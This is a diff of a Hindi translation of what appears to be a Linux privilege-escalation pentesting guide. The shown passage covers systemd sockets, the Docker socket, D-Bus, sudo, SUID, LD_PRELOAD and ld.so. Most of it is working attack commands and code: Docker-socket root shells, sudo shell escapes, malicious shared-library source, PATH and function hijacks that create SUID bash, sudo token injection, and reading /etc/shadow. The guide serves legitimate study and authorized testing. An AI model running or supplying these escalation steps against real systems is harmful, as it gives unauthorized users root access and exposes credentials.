लेता है। यदि **सत्य**, तो **प्रत्येक आने वाले कनेक्शन के लिए एक सेवा उदाहरण उत्पन्न होता है** और केवल कनेक्शन सॉकेट इसे पास किया जाता है। यदि **झूठ**, तो सभी सुनने वाले सॉकेट स्वयं **शुरू की गई सेवा इकाई** को पास किए जाते हैं, और सभी कनेक्शनों के लिए केवल एक सेवा इकाई उत्पन्न होती है। यह मान डाटाग्राम सॉकेट और FIFOs के लिए अनदेखा किया जाता है जहां एकल सेवा इकाई बिना शर्त सभी आने वाले ट्रैफ़िक को संभालती है। **डिफ़ॉल्ट रूप से झूठा है**। प्रदर्शन कारणों से, नए डेमनों को केवल `Accept=no` के लिए उपयुक्त तरीके से लिखने की सिफारिश की जाती है। - `ExecStartPre`, `ExecStartPost`: एक या एक से अधिक कमांड लाइनों को लेता है, जो **सुनने वाले** **सॉकेट्स**/FIFOs के **निर्माण** और बंधन से पहले या बाद में **निष्पादित** होते हैं। कमांड लाइन का पहला टोकन एक पूर्ण फ़ाइल नाम होना चाहिए, उसके बाद प्रक्रिया के लिए तर्क होते हैं। - `ExecStopPre`, `ExecStopPost`: अतिरिक्त **कमांड** जो **सुनने वाले** **सॉकेट्स**/FIFOs के **बंद** और हटाए जाने से पहले या बाद में **निष्पादित** होते हैं। - `Service`: **आने वाले ट्रैफ़िक** पर **सक्रिय** करने के लिए **सेवा** इकाई का नाम निर्दिष्ट करता है। यह सेटिंग केवल उन सॉकेट्स के लिए अनुमति है जिनका Accept=no है। यह उस सेवा पर डिफ़ॉल्ट होता है जिसका नाम सॉकेट के समान होता है (जिसका उपसर्ग बदला गया हो)। अधिकांश मामलों में, इस विकल्प का उपयोग करना आवश्यक नहीं होना चाहिए। @@ -458,7 +458,7 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li ### Writable सॉकेट्स -यदि आप **कोई लिखने योग्य सॉकेट पहचानते हैं** (_अब हम यूनिक्स सॉकेट्स के बारे में बात कर रहे हैं और कॉन्फ़िग `.socket` फ़ाइलों के बारे में नहीं_), तो **आप उस सॉकेट के साथ संवाद कर सकते हैं** और शायद एक भेद्यता का शोषण कर सकते हैं। +यदि आप **कोई लिखने योग्य सॉकेट पहचानते हैं** (_अब हम यूनिक्स सॉकेट्स की बात कर रहे हैं और कॉन्फ़िग `.socket` फ़ाइलों की नहीं_), तो **आप उस सॉकेट के साथ संवाद कर सकते हैं** और शायद एक भेद्यता का शोषण कर सकते हैं। ### यूनिक्स सॉकेट्स की गणना करें ```bash @@ -481,19 +481,19 @@ socket-command-injection.md ### HTTP सॉकेट -ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की जो यूनिक्स सॉकेट के रूप में कार्य कर रही हैं_)। आप इसे इस तरह जांच सकते हैं: +ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की जो यूनिक्स सॉकेट के रूप में कार्य कर रही हैं_)। आप इसे चेक कर सकते हैं: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -यदि सॉकेट **HTTP** अनुरोध के साथ **प्रतिक्रिया** करता है, तो आप इसके साथ **संवाद** कर सकते हैं और शायद **कुछ कमजोरियों का लाभ** उठा सकते हैं। +यदि सॉकेट **HTTP** अनुरोध के साथ **प्रतिक्रिया** करता है, तो आप इसके साथ **संवाद** कर सकते हैं और शायद **कुछ कमजोरियों का लाभ उठा सकते हैं**। ### लिखने योग्य डॉकर सॉकेट -डॉकर सॉकेट, जो अक्सर `/var/run/docker.sock` पर पाया जाता है, एक महत्वपूर्ण फ़ाइल है जिसे सुरक्षित किया जाना चाहिए। डिफ़ॉल्ट रूप से, यह `root` उपयोगकर्ता और `docker` समूह के सदस्यों द्वारा लिखा जा सकता है। इस सॉकेट पर लिखने की पहुंच होना विशेषाधिकार वृद्धि का कारण बन सकता है। यहाँ बताया गया है कि यह कैसे किया जा सकता है और वैकल्पिक विधियाँ यदि डॉकर CLI उपलब्ध नहीं है। +डॉकर सॉकेट, जो अक्सर `/var/run/docker.sock` पर पाया जाता है, एक महत्वपूर्ण फ़ाइल है जिसे सुरक्षित किया जाना चाहिए। डिफ़ॉल्ट रूप से, यह `root` उपयोगकर्ता और `docker` समूह के सदस्यों द्वारा लिखा जा सकता है। इस सॉकेट तक लिखने की पहुंच होना विशेषाधिकार वृद्धि का कारण बन सकता है। यहाँ बताया गया है कि यह कैसे किया जा सकता है और वैकल्पिक विधियाँ यदि डॉकर CLI उपलब्ध नहीं है। #### **डॉकर CLI के साथ विशेषाधिकार वृद्धि** -यदि आपके पास डॉकर सॉकेट पर लिखने की पहुंच है, तो आप निम्नलिखित कमांड का उपयोग करके विशेषाधिकार बढ़ा सकते हैं: +यदि आपके पास डॉकर सॉकेट तक लिखने की पहुंच है, तो आप निम्नलिखित कमांड का उपयोग करके विशेषाधिकार बढ़ा सकते हैं: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh @@ -502,7 +502,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse #### **डॉकर एपीआई का सीधे उपयोग करना** -उन मामलों में जहाँ डॉकर CLI उपलब्ध नहीं है, डॉकर सॉकेट को डॉकर एपीआई और `curl` कमांड का उपयोग करके अभी भी संशोधित किया जा सकता है। +उन मामलों में जहाँ डॉकर CLI उपलब्ध नहीं है, डॉकर सॉकेट को डॉकर एपीआई और `curl` कमांड का उपयोग करके अभी भी नियंत्रित किया जा सकता है। 1. **डॉकर इमेज़ की सूची:** उपलब्ध इमेज़ की सूची प्राप्त करें। @@ -536,7 +536,7 @@ Upgrade: tcp ### अन्य -ध्यान दें कि यदि आपके पास डॉकर सॉकेट पर लिखने की अनुमति है क्योंकि आप **`docker` समूह के अंदर हैं** तो आपके पास [**अधिकार बढ़ाने के अधिक तरीके हैं**](interesting-groups-linux-pe/#docker-group)। यदि [**डॉकर एपीआई किसी पोर्ट पर सुन रहा है** तो आप इसे भी समझौता कर सकते हैं](../../network-services-pentesting/2375-pentesting-docker.md#compromising)। +ध्यान दें कि यदि आपके पास डॉकर सॉकेट पर लिखने की अनुमति है क्योंकि आप **`docker`` समूह के अंदर हैं** तो आपके पास [**अधिकार बढ़ाने के अधिक तरीके हैं**](interesting-groups-linux-pe/#docker-group)। यदि [**डॉकर एपीआई किसी पोर्ट में सुन रहा है** तो आप इसे भी समझौता कर सकते हैं](../../network-services-pentesting/2375-pentesting-docker.md#compromising)। **डॉकर से बाहर निकलने या इसे अधिकार बढ़ाने के लिए दुरुपयोग करने के अधिक तरीकों की जाँच करें**: @@ -562,13 +562,13 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus एक जटिल **इंटर-प्रोसेस कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को प्रभावी ढंग से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। इसे आधुनिक लिनक्स सिस्टम को ध्यान में रखकर डिज़ाइन किया गया है, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है। +D-Bus एक जटिल **इंटर-प्रोसेस कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को कुशलता से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। आधुनिक लिनक्स सिस्टम को ध्यान में रखते हुए डिज़ाइन किया गया, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है। -यह प्रणाली बहुपरकारी है, जो प्रक्रियाओं के बीच डेटा विनिमय को बढ़ाने के लिए बुनियादी IPC का समर्थन करती है, जो **सुधारित UNIX डोमेन सॉकेट्स** की याद दिलाती है। इसके अलावा, यह घटनाओं या संकेतों का प्रसारण करने में मदद करती है, जिससे सिस्टम घटकों के बीच निर्बाध एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, एक आने वाली कॉल के बारे में ब्लूटूथ डेमन से एक संकेत एक संगीत प्लेयर को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव में सुधार होता है। इसके अतिरिक्त, D-Bus एक दूरस्थ ऑब्जेक्ट सिस्टम का समर्थन करता है, जो अनुप्रयोगों के बीच सेवा अनुरोधों और विधि कॉल को सरल बनाता है, पारंपरिक रूप से जटिल प्रक्रियाओं को सुगम बनाता है। +यह प्रणाली बहुपरकारी है, जो प्रक्रियाओं के बीच डेटा विनिमय को बढ़ाने के लिए बुनियादी IPC का समर्थन करती है, जो **सुधारित UNIX डोमेन सॉकेट्स** की याद दिलाती है। इसके अलावा, यह घटनाओं या संकेतों का प्रसारण करने में मदद करती है, जिससे सिस्टम घटकों के बीच निर्बाध एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, एक ब्लूटूथ डेमन से आने वाली कॉल के बारे में एक संकेत एक संगीत प्लेयर को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव में सुधार होता है। इसके अतिरिक्त, D-Bus एक दूरस्थ ऑब्जेक्ट सिस्टम का समर्थन करता है, जो अनुप्रयोगों के बीच सेवा अनुरोधों और विधि कॉल को सरल बनाता है, उन प्रक्रियाओं को सुव्यवस्थित करता है जो पारंपरिक रूप से जटिल थीं। -D-Bus एक **अनुमति/निषेध मॉडल** पर काम करता है, जो संदेश अनुमतियों (विधि कॉल, संकेत उत्सर्जन, आदि) का प्रबंधन करता है जो नीति नियमों के मिलान के संचयी प्रभाव के आधार पर होता है। ये नीतियाँ बस के साथ इंटरैक्शन को निर्दिष्ट करती हैं, जो इन अनुमतियों के शोषण के माध्यम से अधिकार बढ़ाने की अनुमति दे सकती हैं। +D-Bus एक **अनुमति/निषेध मॉडल** पर काम करता है, जो संदेश अनुमतियों (विधि कॉल, संकेत उत्सर्जन, आदि) का प्रबंधन करता है जो नीति नियमों के मिलन के संचयी प्रभाव के आधार पर होता है। ये नीतियाँ बस के साथ इंटरैक्शन को निर्दिष्ट करती हैं, जो इन अनुमतियों के शोषण के माध्यम से अधिकार बढ़ाने की अनुमति दे सकती हैं। -`/etc/dbus-1/system.d/wpa_supplicant.conf` में ऐसी नीति का एक उदाहरण प्रदान किया गया है, जो रूट उपयोगकर्ता के लिए `fi.w1.wpa_supplicant1` से संदेश भेजने, प्राप्त करने और स्वामित्व रखने की अनुमति देती है। +`/etc/dbus-1/system.d/wpa_supplicant.conf` में ऐसी नीति का एक उदाहरण प्रदान किया गया है, जो रूट उपयोगकर्ता के लिए `fi.w1.wpa_supplicant1` से संदेश भेजने, प्राप्त करने और स्वामित्व रखने की अनुमति को विस्तृत करता है। बिना निर्दिष्ट उपयोगकर्ता या समूह वाली नीतियाँ सार्वभौमिक रूप से लागू होती हैं, जबकि "डिफ़ॉल्ट" संदर्भ नीतियाँ उन सभी पर लागू होती हैं जो अन्य विशिष्ट नीतियों द्वारा कवर नहीं की गई हैं। ```xml @@ -653,8 +653,8 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -कुछ Linux संस्करणों को एक बग से प्रभावित किया गया था जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674)।\ -**इसे शोषण करें**: **`systemd-run -t /bin/bash`** +कुछ Linux संस्करणों को एक बग से प्रभावित किया गया था जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674).\ +**इसे एक्सप्लॉइट करें**: **`systemd-run -t /bin/bash`** ### Groups @@ -685,7 +685,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi यदि आप **पर्यावरण का कोई पासवर्ड जानते हैं** तो **प्रत्येक उपयोगकर्ता के रूप में लॉगिन करने का प्रयास करें** पासवर्ड का उपयोग करके। -### सु ब्रूट +### Su Brute यदि आप बहुत शोर करने की परवाह नहीं करते हैं और `su` और `timeout` बाइनरी कंप्यूटर पर मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce) का उपयोग करके उपयोगकर्ता को ब्रूट-फोर्स करने का प्रयास कर सकते हैं।\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` पैरामीटर के साथ भी उपयोगकर्ताओं को ब्रूट-फोर्स करने का प्रयास करता है। @@ -694,7 +694,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ### $PATH -यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** के द्वारा विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं, जिसका नाम किसी कमांड के समान है जिसे किसी अन्य उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं होता** है $PATH में। +यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** के द्वारा विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं जिसका नाम किसी कमांड के समान है जिसे किसी अन्य उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं होता है** $PATH में। ### SUDO और SUID @@ -726,7 +726,7 @@ sudo vim -c '!sh' ``` ### SETENV -यह निर्देश उपयोगकर्ता को **एक पर्यावरण चर सेट करने** की अनुमति देता है जबकि कुछ निष्पादित कर रहा है: +यह निर्देश उपयोगकर्ता को **एक पर्यावरण चर सेट करने** की अनुमति देता है जबकि कुछ निष्पादित करते समय: ```bash $ sudo -l User waldo may run the following commands on admirer: @@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo निष्पादन बाईपासिंग पथ -**कूदें** अन्य फ़ाइलें पढ़ने के लिए या **सिंबलिंक** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**जंप** करें अन्य फ़ाइलों को पढ़ने के लिए या **साइमलिंक** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Sudo कमांड/SUID बाइनरी बिना कमांड पथ के -यदि **sudo अनुमति** एकल कमांड को **पथ निर्दिष्ट किए बिना** दी गई है: _hacker10 ALL= (root) less_ तो आप इसे PATH वेरिएबल को बदलकर शोषण कर सकते हैं +यदि **sudo अनुमति** एकल कमांड को **पथ निर्दिष्ट किए बिना** दी जाती है: _hacker10 ALL= (root) less_ तो आप इसे PATH वेरिएबल को बदलकर शोषण कर सकते हैं ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" @@ -769,9 +769,9 @@ sudo less ### कमांड पथ के साथ SUID बाइनरी -यदि **suid** बाइनरी **पथ निर्दिष्ट करते हुए किसी अन्य कमांड को निष्पादित करती है**, तो आप उस कमांड के नाम से एक **फंक्शन** बनाने और उसे एक्सपोर्ट करने की कोशिश कर सकते हैं जिसे suid फ़ाइल कॉल कर रही है। +यदि **suid** बाइनरी **पथ निर्दिष्ट करते हुए किसी अन्य कमांड को निष्पादित करती है**, तो आप उस कमांड के नाम से एक **फंक्शन** निर्यात करने की कोशिश कर सकते हैं जिसे suid फ़ाइल कॉल कर रही है। -उदाहरण के लिए, यदि एक suid बाइनरी _**/usr/sbin/service apache2 start**_ को कॉल करती है, तो आपको फंक्शन बनाने और उसे एक्सपोर्ट करने की कोशिश करनी चाहिए: +उदाहरण के लिए, यदि एक suid बाइनरी _**/usr/sbin/service apache2 start**_ को कॉल करती है, तो आपको फंक्शन बनाने और उसे निर्यात करने की कोशिश करनी चाहिए: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -780,14 +780,14 @@ export -f /usr/sbin/service ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** पर्यावरण चर का उपयोग एक या अधिक साझा पुस्तकालयों (.so फ़ाइलें) को लोडर द्वारा सभी अन्य के पहले लोड करने के लिए किया जाता है, जिसमें मानक C पुस्तकालय (`libc.so`) भी शामिल है। इस प्रक्रिया को पुस्तकालय को प्रीलोड करना कहा जाता है। +**LD_PRELOAD** पर्यावरण चर का उपयोग एक या अधिक साझा पुस्तकालयों (.so फ़ाइलें) को निर्दिष्ट करने के लिए किया जाता है जिन्हें लोडर द्वारा सभी अन्य के पहले लोड किया जाना है, जिसमें मानक C पुस्तकालय (`libc.so`) भी शामिल है। इस प्रक्रिया को पुस्तकालय को प्रीलोड करना कहा जाता है। हालांकि, सिस्टम की सुरक्षा बनाए रखने और इस सुविधा के दुरुपयोग को रोकने के लिए, विशेष रूप से **suid/sgid** निष्पादन योग्य के साथ, सिस्टम कुछ शर्तों को लागू करता है: - लोडर उन निष्पादन योग्य के लिए **LD_PRELOAD** की अनदेखी करता है जहाँ वास्तविक उपयोगकर्ता आईडी (_ruid_) प्रभावी उपयोगकर्ता आईडी (_euid_) से मेल नहीं खाती। -- suid/sgid वाले निष्पादन योग्य के लिए, केवल मानक पथों में पुस्तकालयों को प्रीलोड किया जाता है जो भी suid/sgid होते हैं। +- suid/sgid वाले निष्पादन योग्य के लिए, केवल मानक पथों में पुस्तकालयों को प्रीलोड किया जाता है जो भी suid/sgid हैं। -अधिकार वृद्धि तब हो सकती है जब आपके पास `sudo` के साथ कमांड निष्पादित करने की क्षमता हो और `sudo -l` का आउटपुट **env_keep+=LD_PRELOAD** कथन को शामिल करता हो। यह कॉन्फ़िगरेशन **LD_PRELOAD** पर्यावरण चर को बनाए रखने और इसे मान्यता प्राप्त करने की अनुमति देता है, भले ही कमांड `sudo` के साथ चलाए जाएं, जो संभावित रूप से उच्चाधिकार के साथ मनमाने कोड के निष्पादन की ओर ले जा सकता है। +अधिकार वृद्धि तब हो सकती है जब आपके पास `sudo` के साथ कमांड निष्पादित करने की क्षमता हो और `sudo -l` का आउटपुट **env_keep+=LD_PRELOAD** कथन को शामिल करता हो। यह कॉन्फ़िगरेशन **LD_PRELOAD** पर्यावरण चर को बनाए रखने और इसे मान्यता प्राप्त करने की अनुमति देता है, भले ही कमांड `sudo` के साथ चलाए जाएं, जो संभावित रूप से उच्चाधिकारों के साथ मनमाने कोड के निष्पादन की ओर ले जा सकता है। ``` Defaults env_keep += LD_PRELOAD ``` @@ -809,7 +809,7 @@ system("/bin/bash"); cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -अंत में, **privileges बढ़ाएँ** चलाते हुए +अंततः, **privileges बढ़ाएँ** चलाते हुए ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` @@ -892,31 +892,35 @@ system("/bin/bash -p"); ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) एक क्यूरेटेड सूची है Unix बाइनरीज़ की, जिन्हें एक हमलावर द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप केवल **आर्गुमेंट्स** को एक कमांड में इंजेक्ट कर सकते हैं। +[**GTFOBins**](https://gtfobins.github.io) Unix बाइनरीज़ की एक चयनित सूची है जिसे एक हमलावर द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप केवल **आर्गुमेंट्स** को एक कमांड में **इंजेक्ट** कर सकते हैं। -यह परियोजना उन वैध फ़ंक्शनों को इकट्ठा करती है जो Unix बाइनरीज़ के होते हैं, जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल्स को स्पॉन करने, और अन्य पोस्ट-एक्सप्लॉइटेशन कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है। +यह परियोजना उन Unix बाइनरीज़ के वैध फ़ंक्शनों को इकट्ठा करती है जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल को स्पॉन करने, और अन्य पोस्ट-एक्सप्लॉइटेशन कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है। > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' -{% embed url="https://gtfobins.github.io/" %} +{{#ref}} +https://gtfobins.github.io/ +{{#endref}} -{% embed url="https://gtfoargs.github.io/" %} +{{#ref}} +https://gtfoargs.github.io/ +{{#endref}} ### FallOfSudo यदि आप `sudo -l` तक पहुँच सकते हैं, तो आप उपकरण [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) का उपयोग कर सकते हैं यह जांचने के लिए कि क्या यह किसी भी sudo नियम का शोषण करने का तरीका खोजता है। -### Sudo टोकन का पुन: उपयोग +### Sudo टोकन का पुन: उपयोग करना उन मामलों में जहां आपके पास **sudo एक्सेस** है लेकिन पासवर्ड नहीं है, आप **sudo कमांड निष्पादन की प्रतीक्षा करके और फिर सत्र टोकन को हाईजैक करके** विशेषाधिकार बढ़ा सकते हैं। विशेषाधिकार बढ़ाने की आवश्यकताएँ: -- आपके पास पहले से "_sampleuser_" के रूप में एक शेल है -- "_sampleuser_" ने **अंतिम 15 मिनट में कुछ निष्पादित करने के लिए `sudo` का उपयोग किया है** (डिफ़ॉल्ट रूप से, यह sudo टोकन की अवधि है जो हमें बिना किसी पासवर्ड के `sudo` का उपयोग करने की अनुमति देती है) +- आपके पास "_sampleuser_" उपयोगकर्ता के रूप में पहले से ही एक शेल है +- "_sampleuser_" ने **अंतिम 15 मिनट में कुछ निष्पादित करने के लिए `sudo` का उपयोग किया है** (डिफ़ॉल्ट रूप से, यह वह अवधि है जिसमें sudo टोकन हमें बिना किसी पासवर्ड के `sudo` का उपयोग करने की अनुमति देता है) - `cat /proc/sys/kernel/yama/ptrace_scope` 0 है - `gdb` सुलभ है (आप इसे अपलोड करने में सक्षम हो सकते हैं) @@ -924,7 +928,7 @@ system("/bin/bash -p"); यदि ये सभी आवश्यकताएँ पूरी होती हैं, तो **आप विशेषाधिकार बढ़ा सकते हैं:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **पहला शोषण** (`exploit.sh`) _/tmp_ में बाइनरी `activate_sudo_token` बनाएगा। आप इसका उपयोग अपने सत्र में **sudo टोकन को सक्रिय करने के लिए** कर सकते हैं (आपको स्वचालित रूप से एक रूट शेल नहीं मिलेगा, `sudo su` करें): +- **पहला शोषण** (`exploit.sh`) _/tmp_ में बाइनरी `activate_sudo_token` बनाएगा। आप इसका उपयोग अपने सत्र में **sudo टोकन को सक्रिय करने** के लिए कर सकते हैं (आपको स्वचालित रूप से एक रूट शेल नहीं मिलेगा, `sudo su` करें): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -935,7 +939,7 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- तीसरा **एक्सप्लॉइट** (`exploit_v3.sh`) एक **sudoers फ़ाइल बनाएगा** जो **sudo टोकन को शाश्वत बनाता है और सभी उपयोगकर्ताओं को sudo का उपयोग करने की अनुमति देता है** +- तीसरा **एक्सप्लॉइट** (`exploit_v3.sh`) एक **sudoers फ़ाइल** बनाएगा जो **sudo टोकन को शाश्वत बनाता है और सभी उपयोगकर्ताओं को sudo का उपयोग करने की अनुमति देता है** ```bash bash exploit_v3.sh sudo su @@ -943,14 +947,14 @@ sudo su ### /var/run/sudo/ts/\ यदि आपके पास फ़ोल्डर में या फ़ोल्डर के अंदर बनाए गए किसी भी फ़ाइल पर **लेखन अनुमतियाँ** हैं, तो आप बाइनरी [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) का उपयोग करके **एक उपयोगकर्ता और PID के लिए sudo टोकन बना सकते हैं**।\ -उदाहरण के लिए, यदि आप फ़ाइल _/var/run/sudo/ts/sampleuser_ को अधिलेखित कर सकते हैं और आपके पास उस उपयोगकर्ता के रूप में PID 1234 के साथ एक शेल है, तो आप **sudo विशेषाधिकार प्राप्त कर सकते हैं** बिना पासवर्ड जाने: +उदाहरण के लिए, यदि आप फ़ाइल _/var/run/sudo/ts/sampleuser_ को अधिलेखित कर सकते हैं और आपके पास PID 1234 के साथ उस उपयोगकर्ता के रूप में एक शेल है, तो आप **sudo विशेषाधिकार प्राप्त कर सकते हैं** बिना पासवर्ड जाने: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d फाइल `/etc/sudoers` और `/etc/sudoers.d` के अंदर की फाइलें यह निर्धारित करती हैं कि कौन `sudo` का उपयोग कर सकता है और कैसे। ये फाइलें **डिफ़ॉल्ट रूप से केवल उपयोगकर्ता रूट और समूह रूट द्वारा पढ़ी जा सकती हैं**।\ -**यदि** आप इस फाइल को **पढ़** सकते हैं तो आप **कुछ दिलचस्प जानकारी प्राप्त कर सकते हैं**, और यदि आप कोई फाइल **लिख** सकते हैं तो आप **अधिकार बढ़ा** सकेंगे। +**यदि** आप इस फाइल को **पढ़** सकते हैं तो आप **कुछ दिलचस्प जानकारी प्राप्त कर सकते हैं**, और यदि आप कोई फाइल **लिख** सकते हैं तो आप **अधिकार बढ़ा** सकते हैं। ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -998,11 +1002,11 @@ sudo ls ### ld.so -फाइल `/etc/ld.so.conf` **यह इंगित करती है कि लोड की गई कॉन्फ़िगरेशन फ़ाइलें कहाँ से हैं**। आमतौर पर, इस फ़ाइल में निम्नलिखित पथ होता है: `include /etc/ld.so.conf.d/*.conf` +फाइल `/etc/ld.so.conf` **यह दर्शाती है कि लोड की गई कॉन्फ़िगरेशन फ़ाइलें कहाँ से हैं**। आमतौर पर, इस फ़ाइल में निम्नलिखित पथ होता है: `include /etc/ld.so.conf.d/*.conf` इसका मतलब है कि `/etc/ld.so.conf.d/*.conf` से कॉन्फ़िगरेशन फ़ाइलें पढ़ी जाएँगी। ये कॉन्फ़िगरेशन फ़ाइलें **अन्य फ़ोल्डरों की ओर इशारा करती हैं** जहाँ **पुस्तकालयों** को **खोजा** जाएगा। उदाहरण के लिए, `/etc/ld.so.conf.d/libc.conf` की सामग्री है `/usr/local/lib`। **इसका मतलब है कि सिस्टम `/usr/local/lib` के अंदर पुस्तकालयों की खोज करेगा**। -यदि किसी कारणवश **किसी उपयोगकर्ता के पास लिखने की अनुमति है** किसी भी पथ पर जो इंगित किए गए हैं: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` के अंदर कोई भी फ़ाइल या `/etc/ld.so.conf.d/*.conf` के अंदर कॉन्फ़िगरेशन फ़ाइल के भीतर कोई भी फ़ोल्डर, तो वह विशेषाधिकार बढ़ाने में सक्षम हो सकता है।\ +यदि किसी कारणवश **किसी उपयोगकर्ता के पास लिखने की अनुमति है** किसी भी पथ पर जो संकेतित हैं: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` के अंदर कोई भी फ़ाइल या `/etc/ld.so.conf.d/*.conf` के अंदर कॉन्फ़िगरेशन फ़ाइल के भीतर कोई भी फ़ोल्डर, तो वह विशेषाधिकार बढ़ाने में सक्षम हो सकता है।\ देखें **इस गलत कॉन्फ़िगरेशन का लाभ कैसे उठाएँ** निम्नलिखित पृष्ठ पर: {{#ref}} @@ -1029,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -फिर `/var/tmp` में एक बुरी लाइब्रेरी बनाएं `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +फिर `/var/tmp` में एक बुरा लाइब्रेरी बनाएं `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1045,7 +1049,7 @@ execve(file,argv,0); ## क्षमताएँ Linux क्षमताएँ एक **प्रक्रिया को उपलब्ध रूट विशेषाधिकारों का उपसमुच्चय** प्रदान करती हैं। यह प्रभावी रूप से रूट 